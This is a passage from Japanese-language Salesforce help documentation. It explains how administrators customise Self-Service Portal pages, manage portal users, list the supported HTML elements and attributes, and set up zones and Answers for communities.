ルに公開] チェックボックスの項目レベルセキュリティをアクセス可に設定することが必要です。これに
より、サポート担当者はケースの [活動履歴] 関連リストから [公開] または [非公開] をクリックして、セ
ルフサービスポータルに完了した活動を表示または非表示にすることができます。

10. 終了するには、いつでも [保存] をクリックします。
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11. ケース参照ページの表示を確認するには、[ケース参照ページ] 行の [プレビュー] をクリックします。セル
フサービススタイルシートをカスタマイズしている場合、プレビューではカスタムスタイルが表示されま
す。

ヒント: ポータル内で特定のケースをユーザに対して非表示にするには、そのケースの [セルフサービス
ポータルに公開] チェックボックスをオフにします。

メモ: ケース参照ページでは、[ケース番号]項目の降順でケースが表示されます。ポータルユーザはこの
順序を変更できません。また、セルフサービスポータルでケース列を並び替えることもできません。

関連トピック:

セルフサービスの設定
セルフサービスページのカスタマイズ

推奨ソリューションページのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスページを
編集する
• 「セルフサービスポー

タルの管理」

および

「アプリケーションの
カスタマイズ」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

[推奨ソリューションページ] の有効化とカスタマイズは、[セルフサービスポー
タルページ] 関連リストから実行します。[推奨ソリューションページ] では、特
定のケースの解決に役立つ可能性のある関連ソリューションが、最大 10 件表示
されます。セルフサービスポータルでケースを登録またはケースを一覧表示す
ると、ユーザは推奨ソリューションを参照して、そのユーザ自身がケースをク
ローズできます。
推奨ソリューションページをカスタマイズする手順は、次のとおりです。
1. [推奨ソリューションページ] の行にある [編集] をクリックします。
2. [推奨ソリューションページ] を選択して、セルフサービスポータルでページ

を有効にします。
3. [セルフクローズしたケースの状況]を選択して、セルフサービスユーザによっ

てクローズされたケースの [状況] 項目を表示します。この項目に対して最
低 1 つの「クローズ」値を選択する必要があります。

4. ユーザに一度に表示する推奨ソリューションの最大件数を選択します。最大
10 件表示できます。

5. [セルフクローズしたケースの原因] を選択して、セルフサービスユーザが自
身のケースをセルフクローズしたときにそれから選択できるようにします。

6. このページにメッセージを表示するには、[メッセージの表示] をオンにします。
7. メッセージを有効にした場合は、テキストボックスにメッセージを入力し、書式設定ツールバーを使用し

てテキストのサイズ、色、およびフォントを設定します。
[HTML の表示] をオンにすると、ページのメッセージを HTML コードで表示できます。
JavaScript は、カスタムコードの一部として保存することはできません。また、使用できるのは特定の HTML

要素および属性のみです。
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8. 差し込み項目を挿入して、動的にデータを置換できます。
9. [保存] をクリックします。
10. 推奨ソリューションページの表示方法を確認するには、[推奨ソリューションページ] の行の [プレビュー]

をクリックします。セルフサービススタイルシートをカスタマイズしている場合、プレビューではカスタ
ムスタイルが表示されます。

関連トピック:

セルフサービスの設定
セルフサービスページのカスタマイズ

カスタムページヘッダーおよびフッターセクションの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスポータル
を設定する
• 「セルフサービスポー

タルの管理」

セルフサービスページを
編集する
• 「セルフサービスポー

タルの管理」

および

「アプリケーションの
カスタマイズ」

ページヘッダーおよびフッターをカスタマイズして、セルフサービスポータル
のすべてのページに会社のブランド情報を適用します。ポータルページのヘッ
ダーおよびフッターには、会社のロゴや、お知らせ、コーポレートカラーを含
めることができます。

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

1. [設定] から、[クイック検索] ボックスに「セルフサービスポータル」と入力
し、[設定] を選択します。

2. [ポータルページセクション] に一覧表示された [ページヘッダー] または [ペー
ジフッター] の横にある [編集] をクリックします。

3. ポータルページにヘッダーまたはフッターを表示するには、[ヘッダーを表
示] または [フッターを表示] をオンにします。

4. ページのヘッダーまたはフッターとボディ部の境界線を表示するには、[ヘッ
ダーの境界を表示] または [フッターの境界を表示] をオンにします。

5. 必要に応じて、ページのメッセージを入力し、書式設定ツールバーを使用し
て書式を設定します。
ページのメッセージを HTML で表示および編集するには、[HTML の表示] を
選択します。JavaScript は、カスタムコードの一部として保存することはでき
ません。また、使用できるのは特定の HTML 要素および属性のみです。

6. [保存] をクリックします。

関連トピック:

セルフサービスの設定
セルフサービスページのカスタマイズ
セルフサービスのスタイルシートのカスタマイズ
セルフサービスページの属性
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セルフサービスポータルのカスタマイズでサポートされる HTML 要素と属性

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

HTML を使用してセルフサービスポータルページに表示されるページのメッセー
ジをカスタマイズします。

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

セルフサービスポータルページとそのページのヘッダーおよびフッターをカス
タマイズしてメッセージを含めることができます。また、次の HTML 要素と属性
をそのメッセージで使用できます。

サポートされる要素
• a

• abbr

• acronym

• address

• area

• b

• basefont

• bdo

• big

• blockquote

• body

• br

• button

• caption

• center

• cite

• code

• col

• colgroup

• dd

• del

• dfn

• dir

• div

• dl

• dt

• em

• fieldset

• font
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• form

• h1

• h2

• h3

• h4

• h5

• h6

• head

• hr

• html

• i

• img

• input

• ins

• kbd

• label

• legend

• li

• link

• map

• menu

• meta

• ol

• optgroup

• option

• p

• pre

• q

• s

• samp

• select

• small

• span

• strike

• strong

• style

• sub

• sup

• table

• tbody
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• td

• textarea

• tfoot

• th

• thead

• title

• tr

• tt

• u

• ul

• var

• xmp

サポートされる属性
• abbr

• accept

• accept-charset

• accesskey

• action

• align

• alink

• alt

• axis

• background

• bgcolor

• border

• cellpadding

• cellspacing

• char

• charoff

• charset

• checked

• cite

• class

• classid

• clear

• code

• codebase

• codetype
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• color

• cols

• colspan

• compact

• content

• coords

• data

• datetime

• declare

• defer

• dir

• disabled

• enctype

• face

• frameborder

• headers

• height

• href

• hreflang

• hspace

• http-equiv

• id

• ismap

• label

• lang

• language

• link

• longdesc

• marginheight

• marginwidth

• maxlength

• media

• method

• multiple

• name

• nohref

• noresize

• noshade

• nowrap

• readonly
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• rel

• rev

• rows

• rowspan

• rules

• scheme

• scope

• scrolling

• selected

• shape

• size

• span

• src

• standby

• start

• style

• summary

• tabindex

• target

• text

• title

• usemap

• valign

• value

• valuetype

• version

• vlink

• vspace

• width

関連トピック:

セルフサービスポータルホームページのカスタマイズ
セルフサービスポータルのケース記録ページのカスタマイズ
セルフサービスポータルログインページのカスタマイズ
カスタムページヘッダーおよびフッターセクションの作成
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セルフサービスページの属性

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスポータル
を設定する
• 「セルフサービスポー

タルの管理」

セルフサービスページを
編集する
• 「セルフサービスポー

タルの管理」

および

「アプリケーションの
カスタマイズ」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

次の一覧に、ポイント & クリックエディタを使用して編集できるセルフサービ
スページ属性を示します。

説明ページ属性

テキストの色。色

テキストの太字値 (テキストが太字か
どうかなど)。

太字

テキストのサイズ。フォントサイズ

文字が表示されるときに適用される特
定のスタイル。

フォント

要素に優先的に適用するフォントファ
ミリ名。Web ブラウザでは、最初に認
識されたフォント値が使用されます。

フォントファミリ

テキストの下線値。テキストに下線が
施されているどうかなどです。

下線

ボーダーの色。境界線の色

点線や実線など、ボーダーのスタイ
ル。

境界線のスタイル

ボーダーの幅。境界線の幅

底部ボーダーの幅。下境界線の幅

ボーダーと要素間のスペース。パディング

上部ボーダーと要素間に配置されるス
ペース。

パディング上

右側ボーダーと要素間に配置されるス
ペース。

パディング右

左側ボーダーと要素間に配置されるス
ペース。

パディング左

下部ボーダーと要素間に配置されるス
ペース。

パディング下

要素の高さ。高さ

行の高さ。行の高さ
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説明ページ属性

要素の背景色。背景色

背景画像が表示される形式。たとえば、画像を垂直ま
たは水平に繰り返し表示するということです。

背景の繰り返し

要素の背景画像。画像のホストとなる相対または絶対
URL は、URL() 構文内に入れる必要があります。たとえ
ば、url(/sserv/img/tabBg_gray.gif) です。

背景画像

関連トピック:

セルフサービスの設定
セルフサービスページのカスタマイズ
セルフサービスのスタイルシートのカスタマイズ

ログイン HTML の生成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスポータル
HTML を生成する
• 「セルフサービスポー

タルの管理」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

セルフサービスポータルを有効化およびカスタマイズしたら、ユーザがセルフ
サービスポータルにログインする URL または HTML コードを生成します。
1. [設定] から、[クイック検索] ボックスに「セルフサービスポータル」と入力

し、[設定] を選択します。
2. [ログイン HTML の生成] をクリックします。
3. 提供された URL または HTML コードをポータルの Web ページに挿入します。
4. [完了] をクリックして、[セルフサービスの設定] ページに戻ります。

メモ: 同じブラウザで同時に Salesforce とセルフサービスポータルにログイ
ンすることはできません。たとえば、Salesforce にログインしてから、同じ
ブラウザを使用してセルフサービスポータルにログインすると、Salesforce

セッションが無効になります。逆に、セルフサービスポータルにログイン
してから、同じブラウザを使用してSalesforceにログインすると、セルフサー
ビスポータルのセッションが無効になります。

関連トピック:

セルフサービスの設定
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[ポータル] タブの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスポータル
を設定する
• 「セルフサービスポー

タルの管理」

セルフサービスページを
編集する
• 「セルフサービスポー

タルの管理」

および

「アプリケーションの
カスタマイズ」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

[ポータル] タブは、顧客向けのオンラインサポートチャネルを設定する場所で
す。これにより、セルフサービス顧客は、カスタマサービス担当者に連絡しな
くても各自の疑問を解消できます。
[ポータル] タブをクリックすると、ポータルホームページが表示されます。ホー
ムページから、次の操作が可能です。
• 顧客のセルフサービスポータルホームページを参照します。
• セルフサービスポータルページをクリックして、顧客がこれらのページをど

のように使用しているかを確認します。
• [レポート] でレポート名をクリックすると、そのレポートに移動できます。
• [ツール] の下に表示されているリンクを選択すると、セルフサービスポータ

ルおよびセルフサービスユーザの管理用のユーティリティにアクセスしま
す。

メモ:  [ポータル] タブには、カスタマーポータルは含まれません。
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セルフサービスユーザの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスユーザを
管理する
• 「セルフサービスユー

ザの編集」

セルフサービスユーザを
一括管理する
• 「セルフサービスポー

タルの管理」

および

「セルフサービスユー
ザの編集」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

セルフサービスユーザ情報を一元管理し、一度に複数のユーザに変更を加えま
す。顧客がセルフサービスポータルを利用する前に、セルフサービスへのアク
セスを取引先責任者ごとに有効にする必要があります。[取引先責任者] タブで取
引先責任者に対して一度に 1 人ずつアクセスを有効にすることも、セルフサー
ビスの設定ページで複数の取引先責任者に対してまとめて有効にすることもで
きます。
• [取引先責任者] タブでセルフサービスユーザを個別に有効にするには、取引

先責任者を選択し、取引先責任者の詳細ページで [セルフサービスを有効に
する] をクリックします。

• 一度に複数のセルフサービスユーザを有効にする場合は、「複数のセルフ
サービスユーザの有効化」 (ページ 2929)を参照してください。

• セルフサービスユーザ情報を変更する方法についての詳細は「セルフサービ
スユーザ情報の編集」 (ページ 2930)を参照してください。

• セルフサービスユーザのパスワードをリセットする方法についての詳細は
「セルフサービスユーザのパスワードのリセット」 (ページ2931)を参照してく
ださい。

関連トピック:

セルフサービスの設定
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複数のセルフサービスユーザの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスユーザを
管理する
• 「セルフサービスユー

ザの編集」

セルフサービスユーザを
一括管理する
• 「セルフサービスポー

タルの管理」

および

「セルフサービスユー
ザの編集」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

多数の取引先責任者のセルフサービスアクセス権の有効化など、セルフサービ
スユーザ管理操作を一括して実行できます。各取引先責任者は、メールアドレ
スを持っており、セルフサービスユーザである取引先と関連付けられている必
要があります。
セルフサービスポータルで新規ユーザを有効にする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. [新規ユーザの有効化] をクリックします。
3. 有効にする取引先責任者のリストを絞り込むための検索条件を入力し、[検

索] をクリックします。
4. 有効にする取引先責任者を選択し、[次へ] をクリックします。
5. 必要に応じて、セルフサービスユーザの情報を編集します。
6. 取引先責任者をセルフサービススーパーユーザとして有効にするには、[スー

パーユーザ] チェックボックスをオンにします。スーパーユーザはケース情
報を参照し、コメントを追加できます。また、自社内のユーザが登録したす
べてのケースに添付ファイルをアップロードできます。

7. [保存] をクリックします。

関連トピック:

セルフサービスユーザの管理
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セルフサービスユーザ情報の編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスユーザを
管理する
• 「セルフサービスユー

ザの編集」

セルフサービスユーザを
一括管理する
• 「セルフサービスポー

タルの管理」

および

「セルフサービスユー
ザの編集」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

セルフサービスユーザの情報を編集して、ユーザ情報を最新の状態に維持しま
す。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. 変更するユーザを選択します。
3. [ユーザの編集] をクリックします。
4. これらのレコードに必要な変更を加えます。
5. [保存] をクリックします。

関連トピック:

セルフサービスユーザの管理
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セルフサービスユーザのパスワードのリセット

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスユーザを
管理する
• 「セルフサービスユー

ザの編集」

セルフサービスユーザを
一括管理する
• 「セルフサービスポー

タルの管理」

および

「セルフサービスユー
ザの編集」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

セルフサービスユーザが自分のパスワードを紛失した場合に、新しいパスワー
ドをメールで知らせることができます。セルフサービスユーザのパスワードを
1 つ以上リセットする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. パスワードをリセットするユーザを選択します。
3. [パスワードのリセット] をクリックします。
4. [OK] をクリックします。

関連トピック:

セルフサービスユーザの管理
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Salesforce Communities およびカスタマーポータルのゾーン

コミュニティを整理するためのゾーンの使用

エディション

使用可能なエディション:
Salesforce Classic

アイデアゾーンを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

アンサーゾーンを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Chatter アンサーゾーンを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ゾーンを作成または編集
する
• 「アプリケーションの

カスタマイズ」

メモ:  Summer '13 リリース以降では、Chatter アンサーおよびアイデアの「コ
ミュニティ」の名前が「ゾーン」に変わりました。

ゾーンでは、アイデアおよび質問を論理グループに整理します。ゾーンには、
それぞれ独自のテーマ、固有のアイデアや質問があります。ゾーンはアイデア、
アンサー、および Chatter アンサーアプリケーションで共有されるため、どちら
からでもゾーンを表示および作成できます。Professional Edition を使用している組
織は、1 つの内部ゾーンのみ使用できます。その他のすべてのエディションで
は、アイデア、アンサー、Chatter アンサーで共有される最大 50 個のゾーンを使
用できます。

メモ:  50 個を超えるゾーンが必要な場合は、Salesforce にお問い合わせくだ
さい。

次のユーザ種別にゾーンを表示できます。
• Salesforce コミュニティユーザ。
• 公開ユーザ (Force.com サイトの設定が必要)。
• Salesforce内部ユーザ。Salesforceユーザは、コミュニティが内部のみまたはポー

タルのどちらで表示されるかに関係なく、すべてのゾーンにアクセスできま
す。

• カスタマーポータルユーザまたはパートナーポータルユーザ。
• Salesforce コンソールユーザ。

メモ: ゾーンへのアクセスを制限するために、Salesforce共有ルールを使用す
ることはできません。ゾーンを作成するときに、そのゾーンを表示するポー
タルを選択してアクセスを制限します。Force.com サイトを使用してコミュ
ニティを公開しない限り、そのポータルに割り当てられたユーザ (および
Salesforce 内部ユーザ) のみがアクセスできます。

ユーザには、ユーザプロファイルで定義されたコンテキストに関連付けられた
ゾーン、検索結果、およびコンテンツが表示されます。
• コミュニティユーザには、サインインしたコミュニティに関連付けられた

ゾーンが表示されます。
• アイデアの表示権限を持つ内部ユーザには、組織のすべての社外秘ゾーンが

表示されます。内部ユーザがコミュニティにサインインすると、そのコミュ
ニティに関連付けられたゾーンのみが表示されます。

• Chatter アンサーの表示権限を持つ内部ユーザには、組織のすべての社外秘ゾーンが [Q&A] タブに表示されま
す。内部ユーザがコミュニティにサインインすると、そのコミュニティに関連付けられたゾーンのみが表
示されます。

• ポータルユーザには、そのポータルに関連付けられたゾーンが表示されます。
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• ポータルとコミュニティへの両方のアクセス権を持つポータルユーザには、ポータルまたは現在サインイ
ンしているコミュニティに関連付けられたゾーンが表示されます。

• API 経由でポータルまたはコミュニティにアクセスしているユーザは、すべてのコンテキストでアクセス権
を持つすべてのゾーンにアクセスできます。

• 内部ユーザが実行する内部アプリケーションでのグローバル検索では、組織内で使用できるすべてのアイ
デアから結果が返されます。Salesforce コミュニティの他のすべてのユーザが実行する検索では、コミュニ
ティで使用できるアイデアから結果が返されます。

関連トピック:

ゾーンの作成と編集

ゾーンの作成と編集

エディション

使用可能なエディション:
Salesforce Classic

アイデアゾーンを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

アンサーゾーンを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Chatter アンサーゾーンを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ゾーンを作成または編集
する
• 「アプリケーションの

カスタマイズ」

ゾーンはアイデア、アンサー、および Chatter アンサーアプリケーションで共有
されるため、どちらからでもゾーンを表示および作成できます。一度に表示で
きるアンサーゾーンは 1 つだけです。サポート対象のエディションでは、組織
につき 50 個までのゾーンが許可されます。
新規ゾーンを作成したり、既存のゾーンの詳細を編集したりする手順は、次の
とおりです。
1. [設定] から、[クイック検索] ボックスに「ゾーン」と入力し、[アンサー] に

ある [ゾーン]、[アイデアのゾーン]、または [Chatter アンサーゾーン] を選択
します。

2. 変更するゾーンの横にある [編集] をクリックするか、[新規] をクリックして
新しいゾーンを作成します。

3. ゾーンの目的を明確に示す、ゾーンの一意の名前を入力します。
4. 必要に応じて、説明をテキスト形式で入力します。HTML などのマークアップ

言語はサポートされません。
5. ゾーンをコミュニティに表示するには、[有効] チェックボックスをオンに

します。
ゾーンは削除できません。ゾーンを非表示にする必要がある場合には、[有
効] をオフにします。有効なゾーンはすべて [アイデア] タブから自動的に使
用可能になりますが、アンサーに割り当てられる有効なゾーンは 1 つに限ら
れます。

6. [ユーザ名の形式]を選択して、ユーザ名がゾーン全体の投稿や回答でどのよ
うに表示されるかを指定します。Chatter アンサーでは、質問と回答のみに
[ユーザ名の形式] が使用されます。アイデアでは、コミュニティ内のユーザ
名にゾーン内の [ユーザ名の形式] ではなく [ニックネーム] が使用されます。

メモ: Chatter アンサーの場合、ゾーンのユーザ名の形式にニックネーム
が選択されていても、[カスタマーサポートのエージェントグループ] で
は名 (ファーストネーム) がユーザに使用されます。
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7. このゾーンを表示する場所を指定します。
• [コミュニティ]では、ゾーンを表示するコミュニティを選択できます。Chatter アンサーの場合にのみ、

[認証なしで表示]を選択して、ゲストユーザがサインインせずにコミュニティを通してゾーン内の活動
を参照できるようにすることもできます。

• [社内のみ] では、内部ユーザに対してのみゾーンが表示されます。ポータルメンバーおよび Salesforce

コミュニティメンバーには、内部ゾーンは表示されません。
• [ポータル] では、既存のポータルのリストから選択できます。

ゾーンを公開するには、Force.comサイトを使用して公開するカスタマーポータルを選択する必要があり
ます。Chatter アンサーは Force.com サイトではサポートされていません。アンサーは Force.com サイトで
はサポートされていません。

メモ: ゾーンを別のコミュニティに再割り当てすると、そのゾーンに関連付けられている項目も新し
いコミュニティに移動されます。元のコミュニティにログインしているユーザは、サイドバーの [最近
使ったデータ] セクションを含め、新しいコミュニティに移動された項目を参照できません。ゾーンを
元のコミュニティに戻すと、これらの項目を再び参照できるようになります。

8. Chatter アンサーのゾーンを設定する手順は、次のとおりです。
a. [Chatter アンサーで有効にする] を選択して、ゾーンを Chatter アンサーに関連付けます。
b. [非公開質問を有効にする] を選択すると、顧客はカスタマーサポートに非公開で質問を投稿できます

(ケースを作成します)。この設定を選択しない場合でも、サポートエージェントは顧客との非公開のコ
ミュニケーションを開始できます。

c. [ゾーンのフィードをホストする Visualforce ページ] で、 をクリックして、質問、返信、および
ナレッジ記事を表示する Visualforce ページを選択します。
ゾーンがForce.comサイトに正しくリンクされるように、選択するページに chatteranswers:allfeeds

コンポーネントまたは次のコンポーネントの組み合わせを含める必要があります。
chatteranswers:aboutme, chatteranswers:guestsignin, chatteranswers:feedfilter,

chatteranswers:feeds, chatteranswers:searchask, chatteranswers:datacategoryfilter。
Visualforceページを選択しないと、ゾーンの保存時にこのページが自動的に生成されます。トピック、質
問、返信を特定のゾーンに関連付け、ページに表示できるように、生成されたページにはゾーンの ID が
含まれます。ページ名には、ゾーンに続けて「_main」というサフィックスが付けられます (例:

ZoneName_main)。また、ページには組織のデフォルト言語に一致する言語属性も含まれます。
NoSignIn  Boolean 属性を chatteranswers:allfeeds, chatteranswers:aboutme,

chatteranswers:feeds または chatteranswers:searchask コンポーネントで使用して、ゾーン
からすべてのサインインリンクを削除できます。外部サインインパスを使用しており、ユーザが標準の
Chatter アンサーのサインインではなく、外部サインインパスを使用するようにする必要がある場合は、
このオプションを使用します。NoSignIn  Boolean 属性が true の場合でも、ユーザは公開されている
ゾーンのコンテンツを検索および参照できます。ユーザにすでに有効なセッションがある場合、引き続
き質問の投稿、返信、投票、コンテンツへのフラグ付けができます。

d. [ゾーンをホストするサイト] で をクリックして、ゾーンをホストする Force.com サイトを選択しま
す。
• ポータルにゾーンを関連付けた場合は、Force.com サイトのドメインを入力できます。
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• ユーザがゾーン活動を参照するときに認証を必要としない Salesforce コミュニティにゾーンを関連付
けた場合は、Force.com サイトのドメインが入力されます。

e. 必要に応じて、[メール通知 URL] で、ゾーンから送信されるメール通知に含まれている URL をカスタ
マイズします。
メール通知の URL は、ゾーンの表示設定に合わせて自動的に生成されますが、特定の要件または使用事
例に合わせて変更できます。ログインページをカスタマイズした場合は、その URL を入力します。たと
えば、ユーザが複数のゾーンにアクセスできるログインページを作成した場合、メール通知からその
ページにユーザをリダイレクトするように [メール通知 URL] をカスタマイズできます。

メモ: 内部ゾーンにメール通知用 URL がすでにあり、その後で [私のドメイン] を使用してカスタム
ドメインを設定する場合は、メール通知の URL を手動で更新する必要があります。URL を更新する
には、既存の URL をクリアして項目を空白にします。ページを保存すると、システムによって [私
のドメイン] の URL がその項目に入力されます。

f. [カスタマーサポートのエージェントグループ] で、ゾーンのサポートエージェントとしての役割を果た
すユーザの公開グループを選択します。これらのユーザには、ゾーンでユーザ名の横にヘッドセットア
イコンが表示されます。

g. 必要に応じて、[ヘッダー] または [フッター] で をクリックして、ゾーンから送信されるメール通
知ヘッダーまたはフッターに組織のブランドを組み込むテキストファイルまたは HTML ファイルを選択
します。
[ドキュメント] タブで公開されているフォルダにアップロードされており、[外部参照可]とマークされ
ているファイルのみを選択できます。項目に含めることができるファイルの合計サイズは、最大で 10

KB です。

h. 事前定義されたデータカテゴリのリストから、ゾーンに公開するデータカテゴリを選択します。

9. ゾーンにアイデアを設定するには、[エキスパートグループ] 項目を使用して、アイデアのゾーンを監視す
るエキスパートの公開グループを選択します。

10. [保存] をクリックします。

関連トピック:

ゾーンの選択リスト値とデフォルトの選択
カスタマーポータルのアイデアの有効化
コミュニティエキスパートの指定
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アンサーコミュニティ

回答の設定

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

回答の設定をカスタマイ
ズする
• 「アプリケーションの

カスタマイズ」

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

アンサーを設定する手順は、次のとおりです。
1. アンサーを有効化してデフォルトのゾーンを設定します。
2. アンサーのカテゴリグループを作成し、カテゴリグループにデータカテゴリ

を追加します。

メモ: カテゴリグループには最大 5 つの階層レベルを作成できますが、
アンサーコミュニティでサポートされるのは最初のレベルのカテゴリの
みです。1 つ目のレベルの下にある子カテゴリはコミュニティには表示
されず、コミュニティメンバーはこれらの子カテゴリを質問に割り当て
ることはできません。

3. データカテゴリをアンサーコミュニティに割り当てます。
4. カテゴリグループの表示設定を確認して、カテゴリとアンサーコミュニティ内のカテゴリ分類された質問

へのアクセスをどのように制限するかを決めます。
5. ロール、権限セットまたはプロファイルを使用して、次の操作を実行します。

a. データカテゴリグループの表示をカスタマイズします。
b. (省略可能) ロール、権限セットまたはプロファイルを使用して、表示設定のないユーザのデフォルトの

カテゴリグループ表示を指定します。

6. (省略可能) ケースを操作するコミュニティメンバーに、未回答または問題のある質問を新しいケースにエ
スカレーションすることを許可します。
a. ケースのオブジェクト管理設定から、[ページレイアウト] に移動します。ケースページレイアウトを編

集して、[質問] 項目を追加します。
b. ケースのオブジェクト管理設定から、[項目] に移動します。[質問] 項目の項目レベルセキュリティに

よって、必要なプロファイルで項目が表示されることを確認します。
ケースの作成権限を持つコミュニティメンバーにのみ、質問上に [ケースにエスカレーション] オプション
が表示されます。

7. (省略可能) Salesforce ナレッジを使用している組織では、ユーザは特に役に立つ返信を知識ベースの新しい記
事に変換できます。[設定] から、[クイック検索] ボックスに「ナレッジの設定」と入力し、[ナレッジの設
定] を選択して、[返信からの記事の作成をユーザに許可する] が選択されていることを確認します。
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8. (省略可能) 質問と回答の入力規則を作成し、攻撃的な言葉がアンサーコミュニティに投稿されないように
します。
入力規則を作成するには、Chatter アンサーの質問および Chatter アンサーの返信のオブジェクト管理設定か
ら、[入力規則] に移動します。

9. (省略可能) 質問のワークフロールールを作成します。たとえば、質問への返信が 10 以上になったが最良の
回答がない場合に常にコミュニティ管理者にメールを送信するワークフロールールなどを作成できます。
質問では、承認プロセスやワークフロー ToDo はサポートされません。

10. (省略可能) アンサーコミュニティのレポートを作成します。
11. (省略可能) カスタマーポータルまたはパートナーポータルでアンサーを有効にします。

ヒント: 質問または返信用にユーザが作成したカスタム項目はいずれもSalesforceユーザインターフェース
では表示できません。ただし、API を統合する目的で質問または返信にカスタム項目を追加できます。た
とえば、質問にカスタムテキスト項目を追加して、API を使用してそのテキスト項目に質問を投稿した国
の名前を入力します。

関連トピック:

ゾーンの作成と編集
回答の設定

アンサーの有効化とデフォルトゾーンの割り当て

エディション

使用可能なエディション:
Salesforce Classic

アンサーを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

回答の設定をカスタマイ
ズする
• 「アプリケーションの

カスタマイズ」

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

アンサーは、コミュニティアプリケーションの機能の 1 つです。この機能によ
り、ユーザが質問したり、コミュニティメンバーが返信を投稿したりすること
ができます。コミュニティメンバーは、それぞれの回答の役立ち度について投
票し、また質問したユーザは最良の回答として回答をマークできます。
アンサー機能を有効にする手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「アンサー設定」と入力し、[アンサー

設定] を選択します。
2. [編集] をクリックします。
3. [アンサーの有効化] チェックボックスを使用して、アンサーを有効にします。

アンサーを有効にすると、Community アプリケーションに [アンサー] タブが追加され、Internal Zone という
ゾーンが作成されます。
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4. [アンサー] タブのデフォルトのゾーンを選択します。一度に表示できるアンサーゾーンは 1 つだけです。
